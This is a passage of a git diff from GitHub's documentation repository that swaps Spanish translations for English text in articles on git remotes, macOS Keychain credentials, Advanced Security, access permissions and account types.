name you typed doesn't exist. -Puedes verificar los remotos que existen actualmente con el comando `git remote -v`: +You can check which remotes currently exist with the `git remote -v` command: ```shell $ git remote -v -# Ver remotos existentes +# View existing remotes > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) ``` -### Solución de problemas: Ya existe el Remoto [new name] +### Troubleshooting: Remote [new name] already exists -Este error significa que el nombre del remoto que quieres utilizar ya existe. Para resolver esto, puedes ya sea utilizar un nombre diferente para el remoto o renombrar el remoto original. +This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote. -## Eliminar un repositorio remoto +## Removing a remote repository -Utiliza el comando `git remote rm` para eliminar una URL remota de tu repositorio. +Use the `git remote rm` command to remove a remote URL from your repository. -El comando `git remote rm` toma un argumento: -* El nombre de un remoto, por ejemplo `destination` (destino) +The `git remote rm` command takes one argument: +* A remote name, for example, `destination` -## Ejemplo +## Example -Estos ejemplos asumen que estás[clonando con HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), lo cual se recomienda. +These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended. ```shell $ git remote -v -# Ver los remotos actuales +# View current remotes > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) > destination https://{% data variables.command_line.codeblock %}/FORKER/REPOSITORY.git (fetch) > destination https://{% data variables.command_line.codeblock %}/FORKER/REPOSITORY.git (push) $ git remote rm destination -# Eliminar remoto +# Remove remote $ git remote -v -# Verificar que se haya ido +# Verify it's gone > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) ``` {% warning %} -**Nota**: `git remote rm` no elimina el repositorio remoto del servidor. Simplemente, elimina de tu repositorio local el remoto y sus referencias. +**Note**: `git remote rm` does not delete the remote repository from the server. It simply +removes the remote and its references from your local repository. {% endwarning %} -### Solución de problemas: No se pudo eliminar la sección de configuración 'remote.[name]' +### Troubleshooting: Could not remove config section 'remote.[name]' -Este error significa que el remoto que trataste de eliminar no existe: +This error means that the remote you tried to delete doesn't exist: ```shell $ git remote rm sofake -> error: No se pudo eliminar la sección de configuración 'remote.sofake' +> error: Could not remove config section 'remote.sofake' ``` -Comprueba que escribiste correctamente el nombre del remoto. +Check that you've correctly typed the remote name. -## Leer más +## Further reading -- "[Trabajar con remotos" desde el libro _Pro Git_](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) +- "[Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) diff --git a/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md index c3a7c939a4..8f4a056431 100644 --- a/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md +++ b/translations/es-ES/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md @@ -1,6 +1,6 @@ --- -title: Actualizar credenciales desde la Keychain OSX -intro: 'Necesitarás actualizar tus credenciales guardadas en el ayudante `git-credential-osxkeychain` si cambias tu{% ifversion not ghae %} nombre de usuario, contraseña, o{% endif %} token de acceso personal en {% data variables.product.product_name %}.' +title: Updating credentials from the macOS Keychain +intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} personal access token on {% data variables.product.product_name %}.' redirect_from: - /articles/updating-credentials-from-the-osx-keychain - /github/using-git/updating-credentials-from-the-osx-keychain @@ -12,29 +12,29 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: credenciales de Keychain de macOS +shortTitle: macOS Keychain credentials --- - {% tip %} -**Nota:** El actualizar las credenciales desde la Keychain de macOS solo aplica a los usuarios que configuran el PAT manualmente utilizando el ayudante `osxkeychain` que está integrado en macOS. +**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a PAT using the `osxkeychain` helper that is built-in to macOS. -Te recomendamos que ya sea [configures el SSH](/articles/generating-an-ssh-key) o mejores al [Core de Administración de Credenciales de Git](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM Core) en su lugar. El GCM Core puede administrar la autenticación en tu nombre (sin utilizar más PAT manuales) incluyendo la 2FA (autenticación bifactorial). +We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual PATs) including 2FA (two-factor auth). {% endtip %} {% data reusables.user_settings.password-authentication-deprecation %} -## Actualizar tus credenciales a través de Keychain Access (Acceso keychain) +## Updating your credentials via Keychain Access -1. Da clic en el icono de Spotlight (lupa) en el costado derecho de la barra de menú. Teclea `Keychain access` y luego presiona la tecla Enter para lanzar la app. ![Barra Spotlight Search (Búsqueda de Spotlight)](/assets/images/help/setup/keychain-access.png) -2. En Keychain Access (Acceso keychain), busca **{% data variables.command_line.backticks %}**. -3. Encuentra la entrada "internet password" (contraseña de internet) para `{% data variables.command_line.backticks %}`. -4. Edita o borra la entrada según corresponda. +1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app. + ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png) +2. In Keychain Access, search for **{% data variables.command_line.backticks %}**. +3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`. +4. Edit or delete the entry accordingly. -## Eliminar tus credenciales a través de la línea de comando +## Deleting your credentials via the command line -A través de la línea de comandos, puedes utilizar el ayudante de credenciales directamente para borrar la entrada de keychain. +Through the command line, you can use the credential helper directly to erase the keychain entry. ```shell $ git credential-osxkeychain erase @@ -43,8 +43,8 @@ protocol=https > [Press Return] ``` -Si resulta exitoso, no se imprimirá nada. Para probar que esto funciona, intenta clonar un repositorio privado de {% data variables.product.product_location %}. Si se te pide una contraseña, la entrada de keychain se borró. +If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.product.product_location %}. If you are prompted for a password, the keychain entry was deleted. -## Leer más +## Further reading -- [Almacenar tus credenciales de {% data variables.product.prodname_dotcom %} en el caché dentro de Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" +- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" diff --git a/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md index f191c6b6e1..d5330b1689 100644 --- a/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md +++ b/translations/es-ES/content/get-started/learning-about-github/about-github-advanced-security.md @@ -1,6 +1,6 @@ --- -title: Acerca de GitHub Advanced Security -intro: '{% data variables.product.prodname_dotcom %} pone a disposición de los clientes medidas adicionales de seguridad mediante una licencia de {% data variables.product.prodname_advanced_security %}.{% ifversion fpt or ghec %} Estas características también se habilitan para los repositorios públicos en {% data variables.product.prodname_dotcom_the_website %}.{% endif %}' +title: About GitHub Advanced Security +intro: '{% data variables.product.prodname_dotcom %} makes extra security features available to customers under an {% data variables.product.prodname_advanced_security %} license.{% ifversion fpt or ghec %} These features are also enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}' product: '{% data reusables.gated-features.ghas %}' versions: fpt: '*' @@ -14,26 +14,25 @@ redirect_from: - /github/getting-started-with-github/learning-about-github/about-github-advanced-security shortTitle: GitHub Advanced Security --- +## About {% data variables.product.prodname_GH_advanced_security %} -## Acerca de {% data variables.product.prodname_GH_advanced_security %} - -{% data variables.product.prodname_dotcom %} tiene muchas características que te ayudan a mejorar y mantener la calidad de tu código. Algunas de estas se incluyen en todos los planes{% ifversion not ghae %}, tales como la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Otras características de seguridad requieren una licencia para que la {% data variables.product.prodname_GH_advanced_security %} se ejecute en los repositorios independientemente de aquellos públicos en {% data variables.product.prodname_dotcom_the_website %}. +{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require a license for {% data variables.product.prodname_GH_advanced_security %} to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}. {% ifversion fpt or ghes > 3.0 or ghec %}For more information about purchasing {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% endif %} -## Acerca de las características de {% data variables.product.prodname_advanced_security %} +## About {% data variables.product.prodname_advanced_security %} features -Una licencia de {% data variables.product.prodname_GH_advanced_security %} proporciona las siguientes características adicionales: +A {% data variables.product.prodname_GH_advanced_security %} license provides the following additional features: -- **{% data variables.product.prodname_code_scanning_capc %}** - Busca vulnerabilidades de seguridad potenciales y errores dentro de tu código. Para obtener más información, consulta la sección "[Acerca de{% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)". +- **{% data variables.product.prodname_code_scanning_capc %}** - Search for potential security vulnerabilities and coding errors in your code. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." -- **{% data variables.product.prodname_secret_scanning_caps %}** - Detecta secretos, por ejemplo claves y tokens, que se han dado de alta en el repositorio. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)". +- **{% data variables.product.prodname_secret_scanning_caps %}** - Detect secrets, for example keys and tokens, that have been checked into the repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes > 3.1 or ghec or ghae-issue-4864 %} -- **Revisión de dependencias** - Muestra todo el impacto de los cambios a las dependencias y vee los detalles de las versiones vulnerables antes de que fusiones una solicitud de cambios. Para obtener más información, consulta la sección "[Acerca de la revisión de dependencias](/code-security/supply-chain-security/about-dependency-review)". +- **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." {% endif %} -Para obtener más información sobre las características de {% data variables.product.prodname_advanced_security %} que se encuentran en desarrollo, consulta la sección "[Plan de trabajo de {% data variables.product.prodname_dotcom %}](https://github.com/github/roadmap)". Para obtener un resumen de todas las características de seguridad, consulta la sección "[Características de seguridad de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)". +For information about {% data variables.product.prodname_advanced_security %} features that are in development, see "[{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap)." For an overview of all security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." {% ifversion ghes or ghec %} @@ -46,33 +45,33 @@ To review the rollout phases we recommended in more detail, see "[Deploying {% d {% endif %} {% ifversion ghes or ghae %} -## Habilitar las características de {% data variables.product.prodname_advanced_security %} en {% data variables.product.product_name %} +## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.product_name %} {% ifversion ghes %} -El administrador de sitio debe habilitar la {% data variables.product.prodname_advanced_security %} para {% data variables.product.product_location %} antes de que puedas utilizar estas características. Para obtener más información, consulta la sección "[Configurar las características de la Seguridad Avanzada](/admin/configuration/configuring-advanced-security-features)". +The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.product.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features)." {% endif %} -Una vez que tu sistema se haya configurado, puedes habilitar e inhabilitar estas características a nivel de organización o de repositorio. Para obtener más información, consulta las secciones "[Administrar la configuración de seguridad y análisis para tu organización](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" y "[Administrar la configuración de seguridad y análisis para tu repositorio](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)". +Once your system is set up, you can enable and disable these features at the organization or repository level. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." {% endif %} {% ifversion not ghae %} -## Habilitar las características de {% data variables.product.prodname_advanced_security %} en {% data variables.product.prodname_dotcom_the_website %} +## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_dotcom_the_website %} -Para los repositorios públicos en {% data variables.product.prodname_dotcom_the_website %}, estas características se encuentran activas permanentemente y solo se pueden inhabilitar si cambias la visibilidad del proyecto para que el código ya no sea público. +For public repositories on {% data variables.product.prodname_dotcom_the_website %}, these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public. -En el caso de otros repositorios, una vez que tengas una licencia para tu cuenta empresarial, puedes habilitar e inhabilitar estas características a nivel de repositorio u organización. {% ifversion fpt or ghes > 3.0 or ghec %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} +For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. {% ifversion fpt or ghes > 3.0 or ghec %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} {% endif %} {% ifversion fpt or ghec %} -Si tienes una cuenta empresarial, el uso de la licencia para toda la empresa se muestra en tu página de licencia empresarial. Para obtener más información, consulta la sección "[Visualizar tu uso de {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)". +If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)." {% endif %} {% ifversion ghec or ghes > 3.0 or ghae-next %} -## Leer más +## Further reading - "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)" diff --git a/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md index 9c7f439b78..e12f41cae3 100644 --- a/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md +++ b/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md @@ -1,5 +1,5 @@ --- -title: Permisos de acceso en GitHub +title: Access permissions on GitHub redirect_from: - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do/ - /articles/what-are-the-different-types-of-team-permissions/ @@ -7,7 +7,7 @@ redirect_from: - /articles/access-permissions-on-github - /github/getting-started-with-github/access-permissions-on-github - /github/getting-started-with-github/learning-about-github/access-permissions-on-github -intro: 'Si bien puedes otorgar acceso de lectura/escritura a los colaboradores en un repositorio personal, los miembros de una organización pueden tener más permisos de acceso granular para los repositorios de la organización.' +intro: 'While you can grant read/write access to collaborators on a personal repository, members of an organization can have more granular access permissions for the organization''s repositories.' versions: fpt: '*' ghes: '*' @@ -16,33 +16,32 @@ versions: topics: - Permissions - Accounts -shortTitle: Acceder a los permisos +shortTitle: Access permissions --- +## Personal user accounts -## Cuentas de usuarios personales +A repository owned by a user account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)." -Un repositorio que es propiedad de una cuenta de usuario y tiene dos niveles de permiso: el *propietario del repositorio* y los *colaboradores*. Para obtener más información, consulta "[Niveles de permiso para un repositorio de cuenta de usuario](/articles/permission-levels-for-a-user-account-repository)". +## Organization accounts -## Cuentas de organización - -Los miembros de la organización pueden tener roles de *propietario*{% ifversion fpt or ghec %}, *gerente de facturación*,{% endif %} o *miembro*. Los propietarios tienen acceso administrativo completo a tu organización {% ifversion fpt or ghec %}, mientras que los gerentes de facturación pueden administrar parámetros de facturación{% endif %}. El miembro tiene un rol predeterminado para todos los demás. Puedes administrar los permisos de acceso para múltiples miembros a la vez con equipos. Para obtener más información, consulta: +Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see: - "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" -- [Permisos de tablero de proyecto para una organización](/articles/project-board-permissions-for-an-organization)" +- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" -- [Acerca de los equipos](/articles/about-teams)" +- "[About teams](/articles/about-teams)" {% ifversion fpt or ghec %} -## Cuentas de empresa +## Enterprise accounts -Los *propietarios de empresa* tienen máximo poder sobre la cuenta de la empresa y pueden tomar medidas en la cuenta de la empresa. Los *gerentes de facturación* pueden administrar los parámetros de facturación de la cuenta de la empresa. Los miembros y colaboradores externos de las organizaciones que son propiedad de tu cuenta empresarial automáticamente son miembros de la cuenta empresarial, si bien no tienen acceso a la cuenta empresarial en sí o a sus parámetros. Para obtener más información, consulta la sección "[Roles en una empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)". +*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account. *Billing managers* can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)." -Si una empresa utiliza {% data variables.product.prodname_emus %}, los miembros se aprovisionan como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} y el proveedor de identidad los administra en su totalidad. Los {% data variables.product.prodname_managed_users %} tienen acceso de solo lectura a los repositorios que no son parte de su empresa y no pueden interactuar con los usuarios que tampoco sean miembros de la empresa. Dentro de las organizaciones que pertenecen a la empresa, se puede otorgar los mismos niveles de acceso granular de los {% data variables.product.prodname_managed_users %} que estén disponibles para las organizaciones normales. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %} +If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %} {% data reusables.gated-features.enterprise-accounts %} {% endif %} -## Leer más +## Further reading -- [Tipos de cuentas de {% data variables.product.prodname_dotcom %}](/articles/types-of-github-accounts)" +- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)" diff --git a/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md index 3dcc6a51ee..242358a9c1 100644 --- a/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md +++ b/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md @@ -1,6 +1,6 @@ --- -title: Tipos de cuentas de GitHub -intro: 'Tu cuenta de usuario es tu identidad en {% data variables.product.product_location %}. Your user account can be a member of any number of organizations.{% ifversion fpt or ghec %} Organizations can belong to enterprise accounts.{% endif %}' +title: Types of GitHub accounts +intro: 'Your user account is your identity on {% data variables.product.product_location %}. Your user account can be a member of any number of organizations.{% ifversion fpt or ghec %} Organizations can belong to enterprise accounts.{% endif %}' redirect_from: - /manage-multiple-clients/ - /managing-clients/ @@ -21,26 +21,25 @@ topics: - Desktop - Security --- - {% ifversion fpt or ghec %} -Para encontrar un listado completo de características para cada producto de {% data variables.product.product_name %}, consulta la sección "[Productos de {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/githubs-products)". +For a full list of features for each {% data variables.product.product_name %} product, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)." {% endif %} -## Cuentas de usuarios personales +## Personal user accounts -Toda persona que utilice {% data variables.product.product_location %} tiene su propia cuenta de usuario, la cual incluye: +Every person who uses {% data variables.product.product_location %} has their own user account, which includes: {% ifversion fpt or ghec %} -- Repositorios públicos y privados ilimitados con {% data variables.product.prodname_free_user %} -- Colaboradores ilimitados con {% data variables.product.prodname_free_user %} -- Funciones adicionales para los repositorios privados con {% data variables.product.prodname_pro %} -- Capacidad para [invitar colaboradores del repositorio](/articles/inviting-collaborators-to-a-personal-repository) +- Unlimited public and private repositories with {% data variables.product.prodname_free_user %} +- Unlimited collaborators with {% data variables.product.prodname_free_user %} +- Additional features for private repositories with {% data variables.product.prodname_pro %} +- Ability to [invite repository collaborators](/articles/inviting-collaborators-to-a-personal-repository) {% else %} -- Repositorios y [colaboradores](/articles/permission-levels-for-a-user-account-repository) ilimitados -- Capacidad para [agregar colaboradores del repositorio ilimitados](/articles/inviting-collaborators-to-a-personal-repository) +- Unlimited repositories and [collaborators](/articles/permission-levels-for-a-user-account-repository) +- Ability to [add unlimited repository collaborators](/articles/inviting-collaborators-to-a-personal-repository) {% endif %} @@ -50,8 +49,8 @@ Toda persona que utilice {% data variables.product.product_location %} tiene su **Tips**: -- Puedes utilizar una cuenta para múltiples propósitos, como uso personal y uso comercial. No recomendamos crear más de una cuenta. Para obtener más información, consulta "[Fusionar múltiples cuentas de usuario](/articles/merging-multiple-user-accounts)". -- Las cuentas de usuario están pensadas para seres humanos, pero le puedes dar una a un robot, como un bot de integración continua, si resulta necesario. +- You can use one account for multiple purposes, such as for personal use and business use. We do not recommend creating more than one account. For more information, see "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)." +- User accounts are intended for humans, but you can give one to a robot, such as a continuous integration bot, if necessary. {% endtip %} @@ -59,7 +58,7 @@ Toda persona que utilice {% data variables.product.product_location %} tiene su {% tip %} -**Sugerencia**: Las cuentas de usuario están pensadas para seres humanos, pero le puedes dar una a un robot, como un bot de integración continua, si resulta necesario. +**Tip**: User accounts are intended for humans, but you can give one to a robot, such as a continuous integration bot, if necessary. {% endtip %} @@ -68,27 +67,27 @@ Toda persona que utilice {% data variables.product.product_location %} tiene su {% ifversion fpt or ghec %} ### {% data variables.product.prodname_emus %} -Con las {% data variables.product.prodname_emus %}, en vez de utilizar tu cuenta personal, los miembros de una {% data variables.product.prodname_emu_enterprise %} son cuentas aprovisionadas utilizando el proveedor de identidad empresarial (IdP). Los {% data variables.product.prodname_managed_users_caps %} se autentican utilizando su IdP en vez de un nombre de usuario y contraseña de {% data variables.product.prodname_dotcom_the_website %}. +With {% data variables.product.prodname_emus %}, instead of using your personal account, members of an {% data variables.product.prodname_emu_enterprise %} are provisioned accounts using the enterprise's identity provider (IdP). {% data variables.product.prodname_managed_users_caps %} authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password. -Los {% data variables.product.prodname_managed_users_caps %} solo pueden interactuar con usuarios, repositorios y organizaciones que son parte de la empresa. Los {% data variables.product.prodname_managed_users_caps %} tienen acceso de solo lectura para el resto del {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +{% data variables.product.prodname_managed_users_caps %} can only interact with users, repositories, and organizations that are part of their enterprise. {% data variables.product.prodname_managed_users_caps %} have read-only access to the rest of {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} {% endif %} -## Cuentas de organización +## Organization accounts -Las organizaciones son cuentas compartidas donde grupos de personas pueden colaborar en muchos proyectos a la vez. Los propietarios y los administradores pueden administrar el acceso de los miembros a los datos y los proyectos de la organización con características administrativas y de seguridad sofisticadas. +Organizations are shared accounts where groups of people can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. {% data reusables.organizations.organizations_include %} {% ifversion fpt or ghec %} -## Cuentas de empresa +## Enterprise accounts -Con las cuentas de empresa, puedes administrar de forma centralizada la política y la facturación de múltiples {% data variables.product.prodname_dotcom_the_website %} organizaciones. {% data reusables.gated-features.enterprise-accounts %} +With enterprise accounts, you can centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations. {% data reusables.gated-features.enterprise-accounts %} {% endif %} -## Leer más +## Further reading {% ifversion fpt or ghec %}- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)" -- "Productos de [{% data variables.product.prodname_dotcom %}](/articles/githubs-products)"{% endif %} -- "[Crear una cuenta de organización nueva](/articles/creating-a-new-organization-account)" +- "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)"{% endif %} +- "[Creating a new organization account](/articles/creating-a-new-organization-account)" diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md index ef4ae0bfec..34adcc9fcb 100644 --- a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md +++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md @@ -1,80 +1,80 @@ --- -title: Iniciar con GitHub AE -intro: 'Inicia con la configuración y ajustes de {% data variables.product.product_name %} para {% data variables.product.product_location %}.' +title: Getting started with GitHub AE +intro: 'Get started with setting up and configuring {% data variables.product.product_name %} for {% data variables.product.product_location %}.' versions: ghae: '*' --- -Esta guía te mostrará cómo configurar, ajustar y administrar la configuración de {% data variables.product.product_location %} en {% data variables.product.product_name %} como propietario de la empresa. +This guide will walk you through setting up, configuring, and managing settings for {% data variables.product.product_location %} on {% data variables.product.product_name %} as an enterprise owner. -## Parte 1: Configurar {% data variables.product.product_name %} -Para comenzar con {% data variables.product.product_name %}, puedes crear tu propia cuenta empresarial, inicializar {% data variables.product.product_name %}, configurar una lista de IP permitidas, configurar la autenticación y aprovisionamiento de usuarios y administrar la facturación de {% data variables.product.product_location %}. +## Part 1: Setting up {% data variables.product.product_name %} +To get started with {% data variables.product.product_name %}, you can create your enterprise account, initialize {% data variables.product.product_name %}, configure an IP allow list, configure user authentication and provisioning, and manage billing for {% data variables.product.product_location %}. -### 1. Crear tu cuenta empresarial de {% data variables.product.product_name %} -Primero necesitarás comprar {% data variables.product.product_name %}. Para obtener más información, contacta al [Equipo de ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact). +### 1. Creating your {% data variables.product.product_name %} enterprise account +You will first need to purchase {% data variables.product.product_name %}. For more information, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). {% data reusables.github-ae.initialize-enterprise %} -### 2. Inicializar {% data variables.product.product_name %} -Después de que {% data variables.product.company_short %} crea la cuenta de propietario para {% data variables.product.product_location %} en {% data variables.product.product_name %}, recibirás un correo electrónico para iniciar sesión y completar la inicialización. Durante la inicialización, tú, como propietario de la empresa, nombrarás la {% data variables.product.product_location %}, configurarás el SSO de SAML y crearás políticas para todas las organizaciones en {% data variables.product.product_location %} y configurarás un contacto de soporte para los miembros de tu empresa. Para obtener más información, consulta la sección "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)". +### 2. Initializing {% data variables.product.product_name %} +After {% data variables.product.company_short %} creates the owner account for {% data variables.product.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.product.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.product.product_location %}, and configure a support contact for your enterprise members. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)." -### 3. Restringir el tráfico de red -Puedes configurar una lista de direcciones IP permitidas específicas para restringir el acceso a los activos que pertenecen a las organizaciones en tu cuenta empresarial. Para obtener más información, consulta la sección "[Restringir el tráfico de red para tu empresa](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)". +### 3. Restricting network traffic +You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)." -### 4. Administrar la identidad y el acceso 